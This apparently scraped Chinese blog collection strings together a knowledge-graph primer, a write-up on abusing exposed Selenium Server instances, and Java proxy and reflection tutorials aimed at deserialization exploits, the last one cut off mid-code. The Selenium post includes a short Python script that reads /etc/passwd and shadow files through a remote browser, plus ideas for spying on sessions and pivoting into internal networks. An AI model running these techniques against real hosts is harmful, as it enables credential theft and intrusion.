知识图谱系列(1)基础知识简介

“The world is not made of strings , but is made of things.”
——辛格博士,from Google.

写在前面,对知识图谱的了解源于我在刘峤老师实验室里所做的【知识图谱中的关系推理】这方面的研究,在来到公司上班之后,意外发现在工业界这一块也有着非常巨大的需求。当然工业界面临的数据量和问题也是学术界远远不可启及的……
总之,最近决定把这个技能捡起来打磨打磨重新上膛,遂准备通过这一系列文章来对知识图谱进行一次梳理。

欢迎对这个方向感兴趣的童鞋们来交流~也欢迎同行指出这系列文章的不足!先行鞠躬笔芯感谢!

0x01 定义

俗话说:“看人先看脸。”在我们深入了解知识图谱之前,让我们先来看一下它长什么样子!
屏幕快照 2018-03-09 下午4.02.54-min.png

emmm这是百度知识图谱给出的小时代关系图谱的样子,你可以看到,如果两个角色之间有关系,他们就会被一条无向边连接在一起,那么这个角色,我们就称为实体(Entity)/节点(Point),他们之间的这条边,我们就称为关系(Relationship)/边(Edge)。
当然,实际的知识图谱当然不会像这种人为处理过的看起来这么舒服……给大家看几张更真实一点的知识图谱的样子——
211125s37st840d84eo148.png

还有这样……
211135gyf434bxvi73b8g4.png

总而言之,知识图谱本质上就是上图展示出来的这种语义网络,是一种基于图的数据结构,由节点(Point)和边(Edge)组成。在知识图谱里,每个节点表示现实世界中存在的“实体”,每条边为实体与实体之间的“关系”。

0x02 存储方式

知识图谱的存储方式通常分为以下两种——

  • RDF存储格式
    主要常用Jena
  • 图数据库(Graph Database)
    主要常用neo4j

采用图数据库而不是关系数据库的原因?

  1. 简单的知识图谱可以用关系数据库,但是一旦知识图谱变复杂,在关联查询的效率上会比传统的存储方式有显著的提高。当我们涉及到2,3度的关联查询,基于知识图谱的查询效率会高出几千倍甚至几百万倍。
  2. 基于图的存储在设计上会非常灵活,一般只需要局部的改动即可。
  3. 把实体和关系存储在图数据结构是一种符合整个故事逻辑的最好的方式。

0x03 知识图谱的架构

知识图谱的架构主要可以被分为

  • 逻辑架构
  • 技术架构

3-1逻辑架构

在逻辑上,我们通常将知识图谱划分为两个层次:数据层和模式层

  • 模式层:在数据层之上,是知识图谱的核心,存储经过提炼的知识,通常通过本体库来管理这一层这一层(本体库可以理解为面向对象里的“类”这样一个概念,本体库就储存着知识图谱的类)。
  • 数据层:存储真实的数据。

如果还是有点模糊,可以看看这个例子——

模式层:实体-关系-实体,实体-属性-性值
数据层:比尔盖茨-妻子-梅琳达·盖茨,比尔盖茨-总裁-微软

3-2 技术架构

知识图谱的整体架构如图所示,其中虚线框内的部分为知识图谱的构建过程,同时也是知识图谱更新的过程。
2018-03-10_092729.png

别紧张,让我们顺着这张图来理一下思路。首先我们有一大堆的数据,这些数据可能是结构化的、非结构化的以及半结构化的,然后我们基于这些数据来构建知识图谱,这一步主要是通过一系列自动化或半自动化的技术手段,来从原始数据中提取出知识要素,即一堆实体关系,并将其存入我们的知识库的模式层和数据层。
构建知识图谱是一个迭代更新的过程,根据知识获取的逻辑,每一轮迭代包含三个阶段——

  • 信息抽取:从各种类型的数据源中提取出实体、属性以及实体间的相互关系,在此基础上形成本体化的知识表达;
  • 知识融合:在获得新知识之后,需要对其进行整合,以消除矛盾和歧义,比如某些实体可能有多种表达,某个特定称谓也许对应于多个不同的实体等;
  • 知识加工:对于经过融合的新知识,需要经过质量评估之后(部分需要人工参与甄别),才能将合格的部分加入到知识库中,以确保知识库的质量。

3-3构建方式

知识图谱有自顶向下和自底向上2种构建方式。

  • 自顶向下:
    借助百科类网站等结构化数据源,从高质量数据中提取本体和模式信息,加入到知识库中;
  • 自底向上
    借助一定的技术手段,从公开采集的数据中提取出资源模式,选择其中置信度较高的新模式,经人工审核之后,加入到知识库中。

0x04 构建技术

【这里提到的构建技术主要是自底向上的构建方式里会涉及到的构建技术】
如前所述,构建知识图谱是一个迭代更新的过程,根据知识获取的逻辑,每一轮迭代包含三个阶段——

  • 信息抽取:从各种类型的数据源中提取出实体、属性以及实体间的相互关系,在此基础上形成本体化的知识表达;
  • 知识融合:在获得新知识之后,需要对其进行整合,以消除矛盾和歧义,比如某些实体可能有多种表达,某个特定称谓也许对应于多个不同的实体等;
  • 知识加工:对于经过融合的新知识,需要经过质量评估之后(部分需要人工参与甄别),才能将合格的部分加入到知识库中,以确保知识库的质量。

见下图——
2018-03-10_092729-1.png

4-1 信息抽取

信息抽取(infromation extraction)是知识图谱构建的第1步,其中的关键问题是——

如何从异构数据源中自动抽取信息得到候选指示单元。

信息抽取是一种自动化地从半结构化和无结构数据中抽取实体、关系以及实体属性等结构化信息的技术。
涉及的关键技术包括:实体抽取、关系抽取和属性抽取。

4-1-1 实体抽取

实体抽取,也称为命名实体识别(named entity recognition,NER),是指从文本数据集中自动识别出命名实体。

研究历史:

  1. 面向单一领域,关注如何识别出文本中的人名、地名等专有名词和有意义的时间等实体信息

    1. 启发式算法+人工规则,实现自动抽取实体的原型系统
    2. 统计机器学习方法辅助解决命名实体抽取问题
    3. 有监督学习+先验知识
  2. 开始关注开放域(open domain)的信息抽取问题,不再限定于特定的知识领域,而是面向开放的互联网,研究和解决全网信息抽取问题。

    1. 人工建立科学完整的命名实体分类体系
    2. 基于归纳总结的实体类别,基于条件随机场模型进行实体边界识别,最后采用自适应感知机实现对实体的自动分类
    3. 采用统计机器学习的方法,从目标数据集中抽取出与之具有相似上下文特征的实体,从而实现实体的分类和聚类。
    4. 迭代扩展实体语料库
    5. 通过搜索引擎的服务器日志,聚类获取新出现的命名实体。——已应用于自动补全技术

4-1-2 关系抽取

文本语料经过实体抽取,得到的是一系列离散的命名实体,为了得到语义信息,还需要从相关语料中提取出实体之间的关联关系,通过关系将实体联系起来,才能够形成网状的知识结构。这就是关系抽取需要做的事。
研究历史:

  1. 人工构造语法和语义规则(模式匹配)
  2. 统计机器学习方法
  3. 基于特征向量或核函数的有监督学习方法
  4. 研究重点转向半监督和无监督
  5. 开始研究面向开放域的信息抽取方法
  6. 将面向开放域的信息抽取方法和面向封闭领域的传统方法结合

4-1-3 属性抽取

属性抽取的目标是从不同信息源中采集特定实体的属性信息,如针对某个公众人物,可以从网络公开信息中得到其昵称、生日、国籍、教育背景等信息。

研究历史:

  1. 将实体的属性视作实体与属性值之间的一种名词性关系,将属性抽取任务转化为关系抽取任务。
  2. 基于规则和启发式算法,抽取结构化数据
  3. 基于百科类网站的半结构化数据,通过自动抽取生成训练语料,用于训练实体属性标注模型,然后将其应用于对非结构化数据的实体属性抽取。
  4. 采用数据挖掘的方法直接从文本中挖掘实体属性和属性值之间的关系模式,据此实现对属性名和属性值在文本中的定位。

4-2 知识融合

通过信息抽取,我们就从原始的非结构化和半结构化数据中获取到了实体、关系以及实体的属性信息。
如果我们将接下来的过程比喻成拼图的话,那么这些信息就是拼图碎片,散乱无章,甚至还有从其他拼图里跑来的碎片、本身就是用来干扰我们拼图的错误碎片。
也就是说——

  • 拼图碎片(信息)之间的关系是扁平化的,缺乏层次性和逻辑性;
  • 拼图(知识)中还存在大量冗杂和错误的拼图碎片(信息)

那么如何解决这一问题,就是在知识融合这一步里我们需要做的了。
知识融合包括2部分内容:

  • 实体链接
  • 知识合并

4-2-1 实体链接

实体链接(entity linking)是指对于从文本中抽取得到的实体对象,将其链接到知识库中对应的正确实体对象的操作。
其基本思想是首先根据给定的实体指称项,从知识库中选出一组候选实体对象,然后通过相似度计算将指称项链接到正确的实体对象。

研究历史:

  1. 仅关注如何将从文本中抽取到的实体链接到知识库中,忽视了位于同一文档的实体间存在的语义联系。
  2. 开始关注利用实体的共现关系,同时将多个实体链接到知识库中。即集成实体链接(collective entity linking)

实体链接的流程:

  1. 从文本中通过实体抽取得到实体指称项;
  2. 进行实体消歧共指消解,判断知识库中的同名实体与之是否代表不同的含义以及知识库中是否存在其他命名实体与之表示相同的含义;
  3. 在确认知识库中对应的正确实体对象之后,将该实体指称项链接到知识库中对应实体。

实体消歧是专门用于解决同名实体产生歧义问题的技术,通过实体消歧,就可以根据当前的语境,准确建立实体链接,实体消歧主要采用聚类法。其实也可以看做基于上下文的分类问题,类似于词性消歧和词义消歧。

共指消解技术主要用于解决多个指称对应同一实体对象的问题。在一次会话中,多个指称可能指向的是同一实体对象。利用共指消解技术,可以将这些指称项关联(合并)到正确的实体对象,由于该问题在信息检索和自然语言处理等领域具有特殊的重要性,吸引了大量的研究努力。共指消解还有一些其他的名字,比如对象对齐、实体匹配和实体同义。

4-2-2 知识合并

在前面的实体链接中,我们已经将实体链接到知识库中对应的正确实体对象那里去了,但需要注意的是,实体链接链接的是我们从半结构化数据和非结构化数据那里通过信息抽取提取出来的数据。
那么除了半结构化数据和非结构化数据以外,我们还有个更方便的数据来源——结构化数据,如外部知识库和关系数据库。

对于这部分结构化数据的处理,就是我们知识合并的内容啦。
一般来说知识合并主要分为两种——

  • 合并外部知识库
  • 合并关系数据库

合并外部知识库:
需要处理两个层面的问题:

  • 数据层的融合,包括实体的指称、属性、关系以及所属类别等,主要的问题是如何避免实例以及关系的冲突问题,造成不必要的冗余
  • 模式层的融合,将新得到的本体融入已有的本体库中

一般有以下四个步骤:

  1. 获取知识
  2. 概念匹配
  3. 实体匹配
  4. 知识评估

合并关系数据库:
在知识图谱构建过程中,一个重要的高质量知识来源是企业或者机构自己的关系数据库。为了将这些结构化的历史数据融入到知识图谱中,可以采用资源描述框架(RDF)作为数据模型。业界和学术界将这一数据转换过程形象地称为RDB2RDF,其实质就是将关系数据库的数据换成RDF的三元组数据。

4-3 知识加工

经过刚才那一系列步骤,我们终于走到了知识加工这一步了!
感觉大家可能已经有点晕眩,那么让我们再来看一下知识图谱的这张架构图。
2018-03-10_092729-2.png

在前面,我们已经通过信息抽取,从原始语料中提取出了实体、关系与属性等知识要素,并且经过知识融合,消除实体指称项与实体对象之间的歧义,得到一系列基本的事实表达。
然而事实本身并不等于知识。
要想最终获得结构化,网络化的知识体系,还需要经历知识加工的过程。
知识加工主要包括3方面内容:本体构建、知识推理和质量评估。

4-3-1 本体构建

本体(ontology)是对概念进行建模的规范,是描述客观世界的抽象模型,以形式化的方式对概念及其之间的联系给出明确定义。其最大特点在于它是共享的,本体中反映的知识是一种明确定义的共识。在知识图谱中,本体位于模式层,用于描述概念层次体系,是知识库中知识的概念模板。

本体是同一领域内的不同主体之间进行交流的语义基础。

本体可以采用人工编辑的方式手动构建(借助本体编辑软件),也可以以数据驱动的自动化方式构建本体。因为人工方式工作量巨大,且很难找到符合要求的专家,因此当前主流的全局本体库产品,都是从一些面向特定领域的现有本体库出发,采用自动构建技术逐步扩展得到的。
自动化本体构建过程包含三个阶段——

  1. 实体并列关系相似度计算

    • 用于考察任意给定的2个实体在多大程度上属于同一概念分类的指标测度,相似度越高,表明这2个实体越有可能属于同一语义类别。
    • 如“中国”和“美国”作为国家名称的实体,具有较高的并列关系相似度;而“美国”和“手机”这两个实体,属于同一语义类别的可能性较低,因此具有较低的并列关系相似度

    • 主流计算方法:模式匹配法和分布相似度。
  2. 实体上下位关系抽取

    • 用于确定概念之间的隶属(IsA)关系,这种关系也称为上下位关系。
    • 如词组(导弹,武器)构成上下位关系,其中的“导弹”为下位词,“武器”为上位词。

    • 主要研究方法:①基于语法模式(如Hearst模式)抽取IsA实体对;②利用概率模型判定IsA关系和区分上下位词,通常会借助百科类网站提供的概念分类知识来帮助训练模型,以提高算法精度;③用跨语言知识链接的方法来构建本体库;
  3. 本体的生成

    • 本体生成主要是对各层次得到的概念进行聚类,并对其进行语义类的标定,即为该类中的实体指定1个或多个公共上位词。
    • 主要研究方法:实体聚类方法

4-3-2 知识推理

知识推理是指从知识库中已有的实体关系数据出发,进行计算机推理,建立实体间的新关联,从而拓展和丰富知识网络。知识推理是知识图谱构建的重要手段和关键环节,通过知识推理,能够从现有知识中发现新的知识。
比如——

如果我们知道这两个信息(A,father,B),(B,father,C),那么知识推理就可以帮助我们得到(A,grandfather,C)的事实。

当然知识推理的对象也并不局限于实体间的关系,也可以是实体的属性值,本体的概念层次关系等。
比如——

推理属性值:已知某实体的生日属性,可以通过推理得到该实体的年龄属性;
推理概念:已知(老虎,科,猫科)和(猫科,目,食肉目)可以推出(老虎,目,食肉目)

知识推理方法目前可以分为3大类,基于逻辑的推理、基于图的推理和基于深度学习的推理

  • 基于逻辑的推理方法主要采用抽象或具象的Horn子句建模,然后基于一阶逻辑谓词、描述逻辑以及规则进行推理。
  • 基于图的推理方法主要思想是将实体和关系映射到一个低维的embedding空间中,基于知识的语义表达进行推理建模。
  • 基于深度学习的推理方法主要考虑使用神经网络进行建模,并且往往会和上面两种推理方法结合起来进行建模。

如果想要具体了解知识推理过程的算法综述的话,可以详见我的这篇博文:知识图谱中的关系推理,究竟是个什么玩意儿?

4-3-3 质量评估

质量评估也是知识库构建技术的重要组成部分,这一部分存在的意义在于:可以对知识的可信度进行量化,通过舍弃置信度较低的知识来保障知识库的质量。

好啦,在质量评估之后,你是不是想说,妈耶知识图谱终于构建完毕了。终于可以松一口气了。

emmmm好吧,实不相瞒,知识图谱这个宝宝目前虽然我们构建成功了。
但是!你家宝宝不吃饭的啊!你家宝宝不学习的啊!

所以,让我们冷静一下,乖乖进入知识更新这一步……

4-4 知识更新

从逻辑上看,知识库的更新包括概念层的更新和数据层的更新

  • 概念层的更新是指新增数据后获得了新的概念,需要自动将新的概念添加到知识库的概念层中。
  • 数据层的更新主要是新增或更新实体、关系、属性值,对数据层进行更新需要考虑数据源的可靠性、数据的一致性(是否存在矛盾或冗杂等问题)等可靠数据源,并选择在各数据源中出现频率高的事实和属性加入知识库。

知识图谱的内容更新有两种方式:

  • 全面更新:指以更新后的全部数据为输入,从零开始构建知识图谱。这种方法比较简单,但资源消耗大,而且需要耗费大量人力资源进行系统维护;
  • 增量更新:以当前新增数据为输入,向现有知识图谱中添加新增知识。这种方式资源消耗小,但目前仍需要大量人工干预(定义规则等),因此实施起来十分困难。

0x05 知识图谱的应用

好了!终于终于!知识图谱的构建方式我们就此结束了!
为了让大家不立刻弃疗,让我们来看看知识图谱能做到什么,以及目前已经做到了什么~

  • 智能搜索——也是知识图谱最成熟的一个场景,自动给出搜索结果和相关人物
    图片5.png
  • 构建人物关系图,查看更多维度的数据
    图片3.png
  • 反欺诈:这主要有两部分原因,一个是反欺诈的数据来源多样,结构化和非结构化,二是不少欺诈案件会涉及到复杂的关系网络
  • 不一致性验证(类似交叉验证)——关系推理
  • 异常分析(运算量大,一般离线)

    • 静态分析:给定一个图形结构和某个时间点,从中去发现一些异常点(比如有异常的子图)。
    • 动态分析:分析其结构随时间变化的趋势。(假设短时间内知识图谱结构的变化不会太大,如果它的变化很大,就说明可能存在异常,需要进一步的关注。会涉及到时序分析技术和图相似性计算技术。)
  • 失联客户管理
    挖掘出更多的新联系人,提高催收的成功率。
  • ……

事实上,知识图谱的应用远不止于此。在我看来,这个世界就是一张巨大的知识图谱,是无数个实体关系对,这两年工业界对图数据库、知识图谱的巨大需求也同样反映出了这一点。
就像这篇文章开头说的那句一样——

“The world is not made of strings , but is made of things.”
——辛格博士,from Google.

那么后面会涉及到的跨语言知识图谱的构建、知识图谱的构建算法细节、实战、更新和维护等等内容,就让我慢慢更新起来吧~
再次欢迎对这个方向感兴趣的童鞋们来交流~也欢迎同行指出这系列文章的不足!再次鞠躬笔芯感谢!

我的博客地址:薇拉航线

附赠一张知识图谱的mindmap~
(因为以前老是遇见盗图不写来处的人……所以打了丑丑的水印……请右键→在新标签中打开图片,查看高清大图_(:з」∠)_)
知识图谱.png

References

[1] 刘峤, 李杨, 段宏,等. 知识图谱构建技术综述[J]. 计算机研究与发展, 2016, 53(3):582-600.
[2] 薇拉航线. 知识图谱中的关系推理,究竟是个什么玩意儿. 2017,03. http://www.zuozuovera.cn/archives/491/#directory077175446956507751
[3] 打怪的蚂蚁. CSDN. 知识图谱技术技巧. http://blog.csdn.net/xgjianstart/article/details/70214852

谈谈Selenium Server的安全问题 - 未完

0x01 开篇

不知道大家在平日工作中有没有遇到过一些端口,使用浏览器打开是下面这样子的:

201803041520131466539800.png

上图中我找了几个在不同端口下的例子。

0x02 Selenium-开源的自动化测试利器

本篇主要的主角-Selenium究竟是什么呢?有过QA经验或安全自动化测试经验的朋友应该知道,以下文字来自百度百科:Selenium是一个用于Web应用程序测试的工具。Selenium测试直接运行在浏览器中,就像真正的用户在操作一样。支持的浏览器包括IE(7, 8, 9, 10, 11),Mozilla Firefox,Safari,Google Chrome,Opera等。支持自动录制动作和自动生成 .Net、Java、Perl等不同语言的测试脚本。

官网地址:https://www.seleniumhq.org/

Github地址:https://github.com/SeleniumHQ/selenium/wiki/Grid2

Selenium支持本地和远程浏览器的自动化测试,在远程调用浏览器时需要在远程服务器上启动一个SeleniumServer,它会负责远程浏览器的启用和你的自动化脚本的执行。

官方给出的启用该SeleniumServer的命令:

java -jar selenium-server-standalone-<version>.jar -role node  -hub http://localhost:4444/grid/register

那么脚本远程调用可以如下:

//第一个参数:表示服务器的地址。第二个参数:表示预期的执行对象,其他的浏览器都可以以此类推
WebDriver driver = new RemoteWebDriver(new URL("http://localhost:4444/wd/hub/"), DesiredCapabilities.chrome());

路径/wd/hub/我是怎么知道的?

  1. 点开console,自动跳转知道的。
  2. 百度selenium remote 知道的
  3. 查看源码发现是默认的- 源码

通过阅读源码能发现默认的端口为4444,如下图所示:

201803051520263000170174.png

下面是一个Python写的远程调用的Demo:

201803041520134142491036.png

0x03 Selenium-server分析

为了方便我们分析,我在Mac下启用一个Sever, 服务端就是一个独立端JAR文件,下载地址:点击下载

可以直接这样启用:

201803041520137267231202.png

浏览器访问,打开console看看,如下图:

201803041520137304734235.png

201803041520139782900165.gif

Selenium Server 给每一个远程调用浏览器进行自动化任务分配一个Session会话,该控制台可以新创建会话,可以在页面上给每一个会话下发自动化脚本到每一个会话对应到浏览器上执行。

观察加载Console页面时,加载了一个叫client.js的文件,从这个文件中可以找到一些有用的调用接口,比如我的地址:http://127.0.0.1:4444/wd/hub/ ,当前的SessionId为,179220de83fee4d6090502b003b692a0 简单整理可以GET访问的URL地址如下:

GET 方式 - BaseUrl = http://127.0.0.1:4444/wd/hub
URL ==> 对应函数
/sessions ==> getSessions 获取当前所有打开浏览器的Session信息
/status ==> getStatus 获取当前Server状态 
/session/179220de83fee4d6090502b003b692a0/url ==> getCurrentUrl  获取当前浏览器打开的URL
/session/179220de83fee4d6090502b003b692a0/alert_text ==> getAlertText  获取弹窗内容
/session/179220de83fee4d6090502b003b692a0/source ==> getPageSource  获取网页源码
/session/179220de83fee4d6090502b003b692a0/screenshot ==> screenshot   网页快照,返回Base64图片
/session/179220de83fee4d6090502b003b692a0/cookie ==> getCookies  获取当前页面Cookie

上面的只是举例说明,完整的接口定义可以去GitHub上看WIKI说明,地址:https://github.com/SeleniumHQ/selenium/wiki/JsonWireProtocol

现在我们知道了Selenium Server给我们提供了很多API接口以供我们使用来完成我们对远程浏览器对控制操作,下面看看我们就一起研究下能怎么玩?

0x04 构想和实施你的玩法

问题:

在敌人后方,你拿到了一个完全可控的浏览器后,你能做些什么?

针对这种,下面是暂时想到的玩法。

实施对敌方远程浏览器自动化作业的监控(偷视)

利用上面学习的知识,我们通过接口:

http://127.0.0.1:4444/wd/hub/sessions

发现存在着有效的Session正在作业如图:

201803041520146295646570.png

那么我们可以通过自己编写脚本,调用API接口,实时获取该浏览器的信息。如:

比如下面展示的,某一个浏览器正在进行重置密码的-自动化操作,我们可以通过API接口实时拿到该浏览器当前的URL地址。(很关键拿到这个URL就可以为所欲为了。。。)

201803041520146861917279.png

201803041520147053363582.png

当然这个返回的是页面截图的Base64,转化一下如下:

201803041520147160885551.png

如果只是简单的URL监控,思路利用BurpSuite就可以实现,这里我实验了一下,如图:

201803041520147482205223.png

利用这类思路,我们可以自己编写脚本利用其提供的API接口,对网络空间里的这类Selenium Server的行为进行24h的实时监控、记录其xx行为。

以此为跳板,对内网实施攻击

利用Selenium Server对特点,创建或者可控一个正在作业的远程浏览器,向内网发起攻击。

说到利用跳板发起内网攻击,可能最开始想到的是被大家玩出花的SSRF了。相比一般的SSRF漏洞,这里我们手里拿到的攻击筹码是远超过一般的SSRF漏洞的。敌方后防一个完全可控的浏览器,能够下发任意的JS代码,控制浏览器访问任意的URL这简直不能再爽!--- 还在实践ing

file协议任意文件读取

我们知道浏览器支持使用file协议读取本地系统的文件,哪么我们可以利用控制的远程浏览器利用file协议读取系统敏感文件,甚至是重要的shadow等口令文件

在测试实践中,我找了几台靶机尝试读取系统/etc/passwd文件,发现甚至有的可以读取shadow文件。准备测试脚本很简单,几行代码比如:

def test_readfile(driver_url = '', filename=''):
    driver = webdriver.Remote(command_executor='http://' + driver_url + '/wd/hub',
                              desired_capabilities=DesiredCapabilities.CHROME)
    driver.get("file://%s" % filename)
    print driver.page_source

    driver.quit()

然后结果就是这样的:

201803041520169754704399.png

甚至读取到了shadow

201803041520172210136585.png

当然最简单的方式是直接在Console里直接操作,步骤:Create a New Session -> chrome or firefox -> Load Script ->添入 file:///etc/passwd 然后OK -> 然后 Take a ScreenShot你就能看到了。下面是测试的截图

201803041520169348222300.png

看到这里,是不是震惊了?赶紧回去问问你们的研发,你们的QA,有没有用到它,小心菊花不保!!

远程挖矿

近两年来很流行的浏览器挖矿,从去年6月后吧,利用浏览器进行虚拟货币挖矿的事件越来越多来,网站代码中暗藏JS挖矿机脚本

挖矿脚本上GitHub一搜索就能找到很多,Github搜索地址 这里就不做过多测试了,不玩这个!

0x05 网络空间调查

使用Shodan, Censys, Zoomeye, FOFA 等一些知名的网络搜索引擎进行关键字搜索,看看网络空间里有多少Selenium Server以及分布情况。

  • Zoomeye

搜索地址:搜索链接

搜索结果如下图:

201803051520229306291405.png

搜索发现在Zoomeye引擎中记录,在整个网络空间中存在有大约有 1.5万左右的Selenium Server运行着。

  • FOFA引擎

搜索地址:搜索链接

使用FOFA引擎,匿名用户 normal模式进行搜索,获得了1.3k左右的记录

搜索结果:

201803051520230301290760.png

  • Shodan引擎

搜索地址:搜索链接

在SHODAN引擎中关键字搜索,仅44条记录。

搜索结果:

201803051520230575847986.png

SHODAN引擎主要采集基础组件端口信息,采集网页信息较少,所以用网页关键字:SeleniumHQ 搜索的结果较少,但是我们如果搜索Selenium Server 所使用的组件 Jetty,就会发现搜索结果比较多了,如下图所示。这些结果中一定存在一定数量的Selenium Server运行着的。

搜索地址:搜索链接

搜索结果:

201803051520230961203412.png

0x06 进一步研究方向

能想到的可行的研究方向:

  • 网络空间的基于Selenium的自动化攻击监控

从网络空间搜索引擎里采集Selenium Server服务端IP,实时采集并记录其远程浏览器的自动化行为。

  • 主动探测网络空间里部署Selenium Server服务器分布

使用探测工具主动探测存在于网络空间的Selenium Server分布情况,记录和观测这些探测得到的IP,这些IP都有自动化攻击,薅羊毛的潜在可能。

个人博客:http://www.coffeehb.cn

Java反序列化漏洞学习实践三:理解Java的动态代理机制

0x01 基础

代理模式:为其他对象提供一种代理以便控制对这个对象的访问(所谓控制,就是可以在其调用行为,前后分别加入一些操作)。

代理模式分类:

  1. 静态代理(其实质是类的继承,比较容易理解)
  2. 动态代理(这是我们需要关注的重点,)比较重要!!

0x02 静态代理Demo和理解

package Step3;

/*
 * 代理模式的简单demo,静态代理
 */

public class proxyTest{
    public static void main(String[] args) {
        Subject sub=new ProxySubject();
        sub.request();
    }
}

abstract class Subject
{//抽象角色:通过接口或抽象类声明真实角色实现的业务方法。
    //类比网络代理,比如http代理,都支持http协议
    abstract void request();
}

class RealSubject extends Subject
{//真实角色:实现抽象角色,定义真实角色所要实现的业务逻辑,供代理角色调用。
    //类比真实的http请求
       public RealSubject()
       {
       }

       public void request()
       {
              System.out.println("From real subject.");
       }
}

class ProxySubject extends Subject//关键是类的继承
{//代理角色:实现抽象角色,是真实角色的代理,通过真实角色的业务逻辑方法来实现抽象方法,并可以附加自己的操作。
    //类比通过代理发出http请求,这个代理当然可以对http请求做出任何想要的修改。
    private RealSubject realSubject; //以真实角色作为代理角色的属性

       public ProxySubject()
       {
       }

       public void request() //该方法封装了真实对象的request方法
       {//所谓的“控制”就体现在这里
        preRequest(); 
              if( realSubject == null )
        {
                     realSubject = new RealSubject();
              }
        realSubject.request(); //此处执行真实对象的request方法
        postRequest();
       }

    private void preRequest()
    {
        //something you want to do before requesting
        System.out.println("Do something before requesting");
    }

    private void postRequest()
    {
        //something you want to do after requesting
        System.out.println("Do something after requesting");
    }
}

运行效果:

1.png

0x03 动态代理Demo及理解

在java的动态代理机制中,有两个重要的类或接口,一个是InvocationHandler(Interface)、另一个则是Proxy(Class),这一个类和接口是实现我们动态代理所必须用到的。

大致逻辑流程就是:

定义一个接口(抽象角色)-->基于以上接口实现一个类(真实角色)-->基于InvocationHandler实现一个处理器类;

接着调用流程:

实现一个真实角色对象-->实现一个处理器对象-->构建一个新的代理对象,这个对象基于已有的处理器 和接口的类-->再把这个代理对象转换为【接口的类型、抽象角色的类型】,不能是真实角色的类型,为什么?

package Step3;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

/*
 * 代理模式的简单demo,动态代理,动态代理利用了反射机制
 * 每一个动态代理类都会有一个与之关联的invocation handler。真正的调用是在invocation handler的invoke()方法里完成的。
 * 感谢蝶离飞、廖新喜2为师傅的指导
 */

public class proxyTest2{
    public static void main(String[] args) {
        DynamicSubject sub=new RealDynamicSubject();//之前这里sub的类型是RealDynamicSubject,不对;但是为什么呢?
        Handler handler = new Handler(sub);
        DynamicSubject sub2 = (DynamicSubject)Proxy.newProxyInstance(DynamicSubject.class.getClassLoader(), new Class[]{DynamicSubject.class}, handler); 
        //CLassLoader loader:指定动态代理类的类加载器
        //Class<?> interfaces:指定动态代理类需要实现的所有接口
        //InvocationHandler h: 指定与动态代理类关联的 InvocationHandler对象
        DynamicSubject sub3 = (DynamicSubject)Proxy.newProxyInstance(DynamicSubject.class.getClassLoader(), sub.getClass().getInterfaces(), handler);

        DynamicSubject sub4 = (DynamicSubject)Proxy.newProxyInstance(DynamicSubject.class.getClassLoader(), RealDynamicSubject.class.getInterfaces(), handler);

        System.out.println("sub.getClass() = "+sub.getClass());
        System.out.println("DynamicSubject.class = " +DynamicSubject.class);
        System.out.println(new Class[]{DynamicSubject.class});
        System.out.println(RealDynamicSubject.class.getInterfaces());

        sub2.request();
        sub3.request();
        sub4.request();
    }
}

interface DynamicSubject
{//抽象角色:通过接口或抽象类声明真实角色实现的业务方法。注意:动态代理只能是接口,否则代理类转成该类型事会报错
    //类比网络代理,比如http代理,都支持http协议
    abstract void request();
}

class RealDynamicSubject implements DynamicSubject
{//真实角色:实现抽象角色,定义真实角色所要实现的业务逻辑,供代理handler处理调用。
    //类比真实的http请求
       public RealDynamicSubject()
       {
       }

       public void request()
       {
              System.out.println("From real subject.");
       }
}

/**
 * 处理器
 */
class Handler implements InvocationHandler{
    private Object obj; //被代理的对象,不管对象是什么类型;之前声明成RealDynamicSubject,不应该这么做
    /**
     * 所有的流程控制都在invoke方法中
     * proxy:代理类
     * method:正在调用的方法
     * args:方法的参数
     */
    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {//接口必须实现的方法,也是逻辑核心
        System.out.println("Do something before requesting");
        Object xxx = method.invoke(this.obj, args);
        System.out.println("Do something after requesting");
        return xxx;
    }
    public Handler(Object obj) {
        //构造函数,把真实角色的实例传递进来,这个代理handler的目的就是处理它
        this.obj = obj;
    }
}

运行效果:

2.png

0x03 思考总结

在后续将要学习的反序列化PoC构造过程中,我们需要用到这个动态代理机制,因为它提供一种【方法之间的跳转,从任意方法到invoke方法的跳转】,是我们将参数入口和代码执行联系起来的关键!

本文代码下载地址:

https://github.com/bit4woo/Java_deserialize_vuln_lab/tree/master/src/Step3

0x04 参考

Java反序列化漏洞学习实践二:Java的反射机制(Java Reflection)

0x00 前言

学习Java的反射机制是为了理解Apache Commons Collections中的反序列化漏洞做准备的。

0x01 基础

Java反射机制

  • 指的是可以于运行时加载,探知和使用编译期间完全未知的类.
  • 程序在运行状态中, 可以动态加载一个只有名称的类, 对于任意一个已经加载的类,都能够知道这个类的所有属性和方法;
    对于任意一个对象,都能调用他的任意一个方法和属性;
  • 加载完类之后, 在堆内存中会产生一个Class类型的对象(一个类只有一个Class对象),
    这个对象包含了完整的类的结构信息,而且这个Class对象就像一面镜子,透过这个镜子看到类的结构,所以被称之为:反射.
  • 每个类被加载进入内存之后,系统就会为该类生成一个对应的java.lang.Class对象,通过该Class对象就可以访问到JVM中的这个类.

Class对象的获取方法

  • 实例对象的getClass()方法;
  • 类的.class(最安全/性能最好)属性;(如Demo代码和下图)
  • 运用Class.forName(String className)动态加载类,className需要是类的全限定名(最常用).
    注意,有一点很有趣,使用功能”.class”来创建Class对象的引用时,不会自动初始化该Class对象,使用forName()会自动初始化该Class对象

注意,有一点很有趣,使用功能”.class”来创建Class对象的引用时,不会自动初始化该Class对象,使用forName()会自动初始化该Class对象

1 (1).png

0x02 通过反射方法调用函数

该Demo主要实践主要学习使用反射方法来调用类中的函数。

package Step2;

import java.lang.reflect.Method;

public class reflectionTest {

    public static void main(String[] args){

        Method[] methods = test.class.getMethods();
        //获取类的方法二,有点类似python的getattr()。java中每个类型都有class 属性
        //通过类的class属性获取对应的Class类的对象,通过这个Class类的对象获取test类中的方法集合

        /* String name = test.class.getName();
         * int modifiers = test.class.getModifiers();
         * .....还有很多方法
         * 也就是说,对于一个任意的可以访问到的类,我们都能够通过以上这些方法来知道它的所有的方法和属性;
         * 知道了它的方法和属性,就可以调用这些方法和属性。
         */

        //调用test类中的方法
        for(Method method : methods){
            if(method.getName().equals("int2string")) {
                System.out.println("method = " + method.getName());

                Class[] parameterTypes = method.getParameterTypes();//获取方法的参数
                Class returnType = method.getReturnType();//获取方法的返回类型
                try {
                    //method.invoke(test.class.newInstance(), 666);
